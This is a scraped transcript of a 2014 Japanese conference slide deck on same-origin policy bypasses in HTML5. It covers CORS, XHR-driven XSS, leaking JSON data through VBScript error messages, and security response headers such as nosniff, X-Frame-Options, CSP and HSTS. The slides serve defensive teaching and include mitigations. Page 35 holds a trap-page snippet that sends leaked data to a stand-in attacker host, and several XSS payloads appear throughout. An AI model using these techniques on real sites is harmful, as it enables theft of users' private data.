bypass sop in a time of html5

62
Bypass SOP in a time of HTML5 Jan 29 2014 Yosuke HASEGAWA #html5j

Upload: melody

Post on 06-Feb-2016

29 views

Category:

Documents


0 download

DESCRIPTION

Bypass SOP in a time of HTML5. Jan 29 2014 Yosuke HASEGAWA. #html5j. 自己紹介. はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ・テクノロジー 技術顧問 Microsoft MVP for Consumer Security Oct 2005 - http://utf-8.jp/. いよいよ あきらか になる. SOPを破る 超絶技法 が. 提供. OWASP Japan. OWASP AppSec APAC 2014. Code Blue. お知らせ. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Bypass  SOP in  a time of  HTML5

Bypass SOPin a time of HTML5

Jan 29 2014Yosuke HASEGAWA

#html5j

Page 2: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

自己紹介

はせがわようすけネットエージェント株式会社 株式会社セキュアスカイ・テクノロジー 技術顧問

Microsoft MVP for Consumer Security Oct 2005 -

http://utf-8.jp/

Page 3: Bypass  SOP in  a time of  HTML5

提供

SOPを破る超絶技法が

いよいよあきらかになる

OWASP Japan

Code Blue

OWASP AppSec APAC 2014

Page 4: Bypass  SOP in  a time of  HTML5

お知らせ

Page 5: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

HTML5 調査報告 from JPCERT/CC

Page 6: Bypass  SOP in  a time of  HTML5

今日の話題

Page 7: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

今日の話題

HTML5 時代のSOP 破りブラウザの高機能化表現力、速度の向上JS コード量の増加

攻撃者対象もブラウザ上へSOP 破りの受動的

攻撃が増加

Page 8: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

今日の話題

オリジンの話オリジン / 同一オリジンポリシー / CORS

XMLHttpRequest意図せずクロスオリジン通信→ XSS意図せずクロスオリジン通信→データ漏えいAjax データを悪用して XSSAjax データ内の機密情報漏えい

セキュリティ関係のレスポンスヘッダ

Page 9: Bypass  SOP in  a time of  HTML5

オリジンの話

Page 10: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

オリジンとは

オリジンとはRFC6454 The Web Origin Conceptスキーム + ホスト + ポート

デフォルトのポートは省略正規化された表現

http://example.jp/image.png http://example.jp:8080/index.html

http://example.jphttp://example.jp:8080

Page 11: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

同一オリジンポリシー

同一オリジンポリシー Same-Origin Policy - SOP

オリジンが異なる場合に様々な制約XHR での読み取りlocalStorage の読み書き範囲などなど

cookie や HTTP 認証はオリジンをベースとしていない

Page 12: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Cross-Origin Resource Sharing

CORS - Cross-Origin Resource Sharingオリジンを超えてリソースを共有するための統一的

なルールCross-Origin Resource Sharinghttp://www.w3.org/TR/cors/

HTTP access control (CORS) | MDNhttps://developer.mozilla.org/ja/docs/HTTP_access_control

XHR 、 img+Canvas 、 Web Fonts など

Page 13: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR with CORS

// http://base.example.jp/var xhr = new XMLHttpRequest();xhr.open( "GET", "http://another.example.jp/", true );xhr.onreadystatechange = function(){ ... };xhr.send( null );GET / HTTP/1.1Host: another.example.jpUser-Agent: Mozilla/5.0 (Windows NT 6.1)... Origin: http://base.example.jp

HTTP/1.1 200 OKDate: Tue, 28 Feb 2013 12:34:56 GMTAccess-Control-Allow-Origin: http://base.example.jpContent-Type: text/html; charset=utf-8...

Page 14: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR with CORS

// http://base.example.jp/var xhr = new XMLHttpRequest();xhr.open( "GET", "http://another.example.jp/", true );xhr.withCredentials = true;xhr.onreadystatechange = function(){ ... };xhr.send( null );GET / HTTP/1.1Host: another.example.jpUser-Agent: Mozilla/5.0 (Windows NT 6.1)...Cookie: sessionid=135A2387BC12EE0F Origin: http://base.example.jp

HTTP/1.1 200 OKDate: Tue, 28 Feb 2013 12:34:56 GMTAccess-Control-Allow-Origin: http://base.example.jpAccess-Control-Allow-Credentials: trueContent-Type: text/html; charset=utf-8...

Page 15: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Images with CORS

// http://base.example.jp/<img src="http://another.example.jp/html5.png" crossorigin="anonymous">

GET /takahiro.jpg HTTP/1.1Host: another.example.jpUser-Agent: Mozilla/5.0 (Windows NT 6.1)...Origin: http://base.example.jp

HTTP/1.1 200 OKDate: Tue, 28 Feb 2013 12:34:56 GMTAccess-Control-Allow-Origin: http://base.example.jpContent-Type: image/jpeg...

Origin がつき、 Cookie は送信されない

Canvas 経由で読み取り可能になる

Page 16: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Images with CORS

// http://base.example.jp/<img src="http://another.example.jp/html5.png" crossorigin="use-credentials">

GET /takahiro.jpg HTTP/1.1Host: another.example.jpUser-Agent: Mozilla/5.0 (Windows NT 6.1)...Cookie: sessionid=135A2387BC12EE0F Origin: http://base.example.jp

HTTP/1.1 200 OKDate: Tue, 28 Feb 2013 12:34:56 GMTAccess-Control-Allow-Origin: http://base.example.jpAccess-Control-Allow-Credentials: trueContent-Type: image/jpeg...

Canvas 経由で読み取り可能になる

Page 17: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Access-Control-Allow-Origin

Access-Control-Allow-Origin: *誰からでも読み取り可能

機密情報を含むコンテンツの場合、罠ページからも読み取られれてしまう!

HTTP/1.1 200 OKDate: Tue, 28 Feb 2013 12:34:56 GMTAccess-Control-Allow-Origin: *Content-Type: text/html...

Page 18: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

ここまでのまとめ

オリジンスキーム、ホスト、ポートの組み合わせ

同一オリジンポリシーオリジンを境界としてリソースの読み書きを保護

する仕組みの総称CORS – Cross-Origin Resource Sharing

オリジンを超えてリソースを共有するためのルール

preflight – 今回は説明を省略ブラウザを狙う攻撃は SOP 回避の受動的攻撃

Page 19: Bypass  SOP in  a time of  HTML5

XMLHttpRequest

Page 20: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XMLHttpRequest

言うまでもなく今どきの JS アプリの要Lv.2 によりクロスオリジン通信可能XHR 周辺に脆弱性も多い

よくある脆弱性意図せずクロスオリジン通信→ XSS意図せずクロスオリジン通信→データ漏えいAjax データを悪用して XSSAjax データ内の機密情報漏えい

Page 21: Bypass  SOP in  a time of  HTML5

XMLHttpRequest(1) 意図せずクロスオリジン通信→ XSS

Page 22: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: 意図せずクロスオリジン通信→ XSS

XHR Lv.2 で脆弱になったクロスオリジン通信できない間は安全だった// http://example.jp/#/newsvar url = decodeURIComponent( location.hash.substring(1) );var xhr = new XMLHttpRequest();xhr.open( "GET", url, true );xhr.onreadystatechange = function(){ if( xhr.readyState == 4 && xhr.status == 200 ){ div.innerHTML = xhr.responseText; }}

Page 23: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: 意図せずクロスオリジン通信→ XSS

対策相手先を固定リストで事前に保持// http://example.jp/#/newsvar page = decodeURIComponent( location.hash.substring(1) );var pages = { "/news":"/news", "/comment":"/comment"};var url = pages[ page ] || "/"; //undefined のときは/ を取得var xhr = new XMLHttpRequest();xhr.open( "GET", url, true );xhr.onreadystatechange = function(){ if( xhr.readyState == 4 && xhr.status == 200 ){ div.innerHTML = xhr.responseText; }}

Page 24: Bypass  SOP in  a time of  HTML5

XMLHttpRequest(2) 意図せずクロスオリジン通信→データ漏えい

Page 25: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: 意図せずクロスオリジン通信→データ漏えい

サーバ側で意図していないクロスオリジン通信リクエストヘッダの Origin: で送信元を確

認GET /resource HTTP/1.1Host: example.jpOrigin: http://example.jp

HTTP/1.1 200 OKContent-Type: text/plainAccess-Control-Allow-Origin: htp://example.jp

これは example.jp だけが読むことを許された機密情報です。

この実装例は安全?脆弱?

GET /resource HTTP/1.1Host: example.jpOrigin: http://another.example.jp

HTTP/1.1 403 Forbidden

Page 26: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: 意図せずクロスオリジン通信→データ漏えい

攻撃者は telnet 等で任意の Origin を送信可能Origin: ヘッダを認証に使用してはいけないGET /resource HTTP/1.1Host: example.jpOrigin: http://example.jp

HTTP/1.1 200 OKContent-Type: text/plainAccess-Control-Allow-Origin: htp://example.jp

これは example.jp だけが読むことを許された機密情報です。

この実装例は安全?脆弱?

→ 脆弱

攻撃者がtelnetで入力

Page 27: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: 意図せずクロスオリジン通信→データ漏えい

通常通り Cookie を使って認証

GET /rsource HTTP/1.1Host: example.jpOrigin: http://example.jpCookie: sessionid=A1E223ED

HTTP/1.1 200 OKContent-Type: text/plainAccess-Control-Allow-Origin: http://example.jpAccess-Control-Allow-Credentials: true

これは example.jp だけが読むことを許された機密情報です。

xhr.withCredentials = true; // Cookie 付きでクロスオリジンリクエストを発行

Page 28: Bypass  SOP in  a time of  HTML5

XMLHttpRequest(3)Ajax データを使った XSS

Page 29: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データを使った XSS

IE must die HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8

{ "msg" : "<script>alert(1)</script>" }

Page 30: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データを使った XSS

JSON ならエスケープできなくはないけど

text/plain とか text/csv とかエスケープできない

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8

{ "msg" : "\u003cscript\u003ealert(1)\u003c/script\u003e" }

Page 31: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データを使った XSS

対策X-Content-Type-Options を付ける

非 HTML が HTML 扱いされることがなくなる

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff

{ "msg" : "<script>alert(1)</script>" }

Page 32: Bypass  SOP in  a time of  HTML5

XMLHttpRequest(4)Ajax データ内の機密情報漏えい

Page 33: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データ内の機密情報漏えい

JavaScript や VBScript として解釈可能なAjax データが狙われやすい

{"from" : "[email protected]"}

JSON

// 罠ページ内で script ソースとして読み込む<script src="http://example.jp/target.json"></script><script src="http://example.jp/target.csv"></script>

Page 34: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データ内の機密情報漏えい

JSON 配列をVBScript として読み込む失敗→エラーメッセージに配列の内容HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8

[ "secret", "message", "is", "here" ]

//  攻撃者の用意した罠ページ<script src="http://example.jp/target.json" language="vbscript"></script>

Page 35: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データ内の機密情報漏えいJSON 配列をVBScript として読み込み

エラーメッセージに配列の内容が含まれる→ window.onerror で捕捉

GET http://attacker.example.jp/log? 型が一致しません。 :%20'%20"secret",%20"message",%20"is",%20"here"%20' HTTP/1.1Referer: http://example.jp/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

<script>window.onerror = function( e ){ document.getElementById( "img" ).setAttribute( "src", "http://attacker.example.jp/log?" + e );}</script><script src="http://example.jp/target.json" language="vbscript"></script>

Page 36: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

XHR: Ajax データ内の機密情報漏えい

対策X-Content-Type-Options を付けるHTTP/1.1 200 OKContent-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff

[ "secret", "message", "is", "here" ]

Page 37: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダ

Page 38: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

セキュリティ関係のレスポンスヘッダ

使いこなすことでよりセキュアにX-XSS-ProtectionX-Content-Type-OptionsX-Frame-OptionsContent-Security-PolicyX-Download-OptionsStrict-Transport-Security

Page 39: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダX-XSS-Protection

Page 40: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-XSS-Protection

XSS 保護機能の制御IE,Chrome,Opera,Safari で有効XSS 保護機能をそのページのみ無効にする

XSS 保護機能を明 示的に有 効にする( デフォルト有効になっている )

XSS 保護機能を有 効にし、 XSS検知時に空白画面を表 示

X-XSS-Protection: 0

X-XSS-Protection: 1

X-XSS-Protection: 1; mode=block

Page 41: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-XSS-Protection

「 XSS フィルターを無効に設定」やめて!

Page 42: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-XSS-Protection

XSS フィルターの誤検知のエラーを消すには該当ページにXSS がないか 慎重に検査した

うえでそのページのみ X-XSS-Protection:0 を指

定ブラウザの設定変更を指示しないで!

Page 43: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダX-Content-Type-Options

Page 44: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Content-Type-Options

Content-Type を厳格に扱う非 HTML をHTML 扱いしない

JSON や CSV による XSS の防止

非 JS を<script src> として読み込まないscript src 経由での情報漏えい防止Firefox 、 Chrome などでも。Content-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff

[ "secret", "message", "is", "here" ]

Content-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff

{ "message", "<script>alert(1)</script>" }

Page 45: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Content-Type-Options

副作用はほとんどないので、全コンテンツにつける べき稀有な副作用例: JSONP/JSON で共通処理

Content-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff

callback( { "message", "<script>alert(1)</script>" } )

Content-Type: application/json; charset=utf-8X-Content-Type-Options: nosniff

{ "message", "<script>alert(1)</script>" }

<script src="api/jsonp?cb=callback"></script> … 失敗する

Page 46: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダX-Frame-Options

Page 47: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Frame-Options

クリックジャッキング標的サイトを透明に重ね、意図しないクリッ

ク等を引き起こす攻撃

クリック !!

透明表示の標的サイト

罠サイト現金

プレゼント !

Page 48: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Frame-Options

クリックジャッキング対策iframe,frame 等での埋め込みを禁止する全ての埋め込みを禁止

同一オリジン以外からの 埋め込みを禁止

指定オリジン以外からの 埋め込みを禁止

X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

X-Frame-Options: ALLOW-FROM http://example.jp

Page 49: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Frame-Options

X-Frame-Options: ALLOW-FROM

http://example.jp からの 埋込みのみ許可ALLOW-FROM に指定できるオリジンは ひ

とつだけ。複数のオリジンからの 埋め込み許可はそのま

まではできないFirefox のみスペース区切りで複数オリジンの指定可能

X-Frame-Options: ALLOW-FROM http://example.jp

Page 50: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Frame-Options

ALLOW-FROM の複数オリジン対応呼出し元オリジンごとに識別子をURL に付与// http://parent.example.jp/ 上<iframe src="http://child.example.jp/?from=p1"></iframe># child.example.jp/my $allows = { p1 => 'http://parent.example.jp' };my $from = $allows->{ $params->{from} };if( $from ){ print "X-Frame-Options: ALLOW-FROM $from\n";}else{ print "X-Frame-Options: DENY\n";}

Page 51: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダContent-Security-Policy

Page 52: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Content-Security-Policy

ヘッダで指定されたソースからしか 画像や JS を読み込めなくする

Chrome拡張や FirefoxOS アプリの開発時にイラッとするアレ

使いこなせ ば XSS も怖くないけれど、実 際の運用は超たいへ ん

HTTP/1.1 200 OKContent-Security-Policy: default-src 'self'; image-src *;Content-Type: text/html; charset=utf-8

Page 53: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダX-Download-Options

Page 54: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Download-Options

IE8以降でダウンロード時に「開く」ボタンを非表 示HTTP/1.1 200 OKContent-Disposition: attachment; filename="index.html"X-Download-Options: noopen

<html><script>...

X-Download-Options なし

X-Download-Options あり

Page 55: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

X-Download-Options

ダウンロード時の「開く」ボタン非表示添付ファイルによる 蓄積型の XSS を予防す

ることができる安全なコンテンツを ユーザーが直接開くこと

ができなくなるので、 利便性は下がる不特定多数のユーザーが添付ファイルを掲載

できる Web アプリでは一考の価値あり

Page 56: Bypass  SOP in  a time of  HTML5

セキュリティ関係のレスポンスヘッダStrict-Transport-Security

Page 57: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Strict-Transport-Security

HTTPS を強制するための 指令

これ以降の HTTP へのアクセスは HTTPSに置き換わる

max-age は有効期間を秒数で指定includeSubDomains が指定されるとサ

ブドメインも対象

HTTP/1.1 200 OKStrict-Transport-Security: max-age=15768000

HTTP/1.1 200 OKStrict-Transport-Security: max-age=15768000; includeSubdomains

Page 58: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Strict-Transport-Security

HTTPS サイトのみが Strict-Transport-Security ヘッダを返す

HTTP はすでに汚染されているかもしれないので

Firefox 、 Chrome などは常に HTTPS で通信する "preload HSTS" のリストを持っている

HTTP/1.1 200 OKStrict-Transport-Security: max-age=15768000

Page 59: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Strict-Transport-Security

Preload HSTS listFirefox 、 Chrome は常にHTTPS で通信

する サイトのリストを持っている申請すれば掲載してもらえる ( 常時 SSL

化 !)cybozu.com を真に常時 SSL にする話 |

Cybozu Inside Out | サイボウズエンジニアのブログ http://developer.cybozu.co.jp/tech/?p=6096

Page 60: Bypass  SOP in  a time of  HTML5

質問タイムQuestion ?

Page 61: Bypass  SOP in  a time of  HTML5

第 44 回 HTML5 とか勉強会 #html5j

Question? 質問

[email protected]@netagent.co.jp

@hasegawayosuke

http://utf-8.jp/

Page 62: Bypass  SOP in  a time of  HTML5

提供OWASP Japan

Code Blue

OWASP AppSec APAC 2014